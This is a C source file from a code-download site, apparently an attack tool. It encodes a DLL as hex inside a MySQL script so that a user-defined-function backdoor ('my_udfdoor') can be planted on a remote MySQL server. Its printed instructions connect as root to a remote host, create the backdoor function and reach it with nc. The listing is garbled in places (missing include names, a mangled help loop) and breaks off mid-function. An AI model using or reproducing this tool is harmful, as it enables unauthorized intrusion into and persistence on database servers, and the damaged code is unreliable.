www.pudn.com > 051118mysqlup.rar > upfile.c


/*通过MYSQL上传二进制文件的小程式*/ 
 
#include  
#include  
#define Max 600 
 
char ver[Max]="\n\t\tWirtten by W.Z.T  \n\n\t\t\tQQ:0x3731353739393132\n\n"; 
 
void help(void); 
void upfile(char *,char *,char *); 
 
int main(int argc,char **argv) 
{ 
    if(argc==1) 
    { 
        help(); 
    } 
    upfile(argv[1],argv[2],argv[3]); 
    return 0; 
} 
 
void help(void) 
{ 
    int i; 
    for(i=0;i  \n\n"); 
    printf("exp:\n\n"); 
    printf("upfile.exe my_udf.dll c:\\\\my_udf.dll sgl.txt\n"); 
    exit(0); 
} 
 
void upfile(char *line,char *line1,char *line2) 
{ 
    FILE *fp_s,*fp_t; 
    char *use[7]={"\n#then,do as follows:\n\n", 
                  "#mysql -h remoteip -uroot -p\n", 
                  "#mysql>\\. script.txt\n", 
                  "#create FUNCTION my_udfdoor RETURNS STRING SONAME \'", 
                  "\';\n", 
                  "#select my_udfdoor(\'\');\n\n", 
                  "#nc -vv remoteip 3306/fuck\n"}; 
    char ch; 
    long lenth; 
    int i=0,j; 
    if((fp_s=fopen(line,"rb"))==NULL) 
    { 
        printf("Can't open the file %s.\n",line); 
        exit(0); 
    } 
    if((fp_t=fopen(line2,"w+"))==NULL) 
    { 
        printf("Can't open the file %s.\n",line2); 
        exit(0); 
    } 
    fseek(fp_s,0,SEEK_END); 
    lenth=ftell(fp_s); 
    fseek(fp_s,0,SEEK_SET); 
    printf("\n#%s has %ld bytes,0x%x\n",line1,lenth,lenth); 
    fputs("set @a = concat(\'\',0x",fp_t); 
    while(i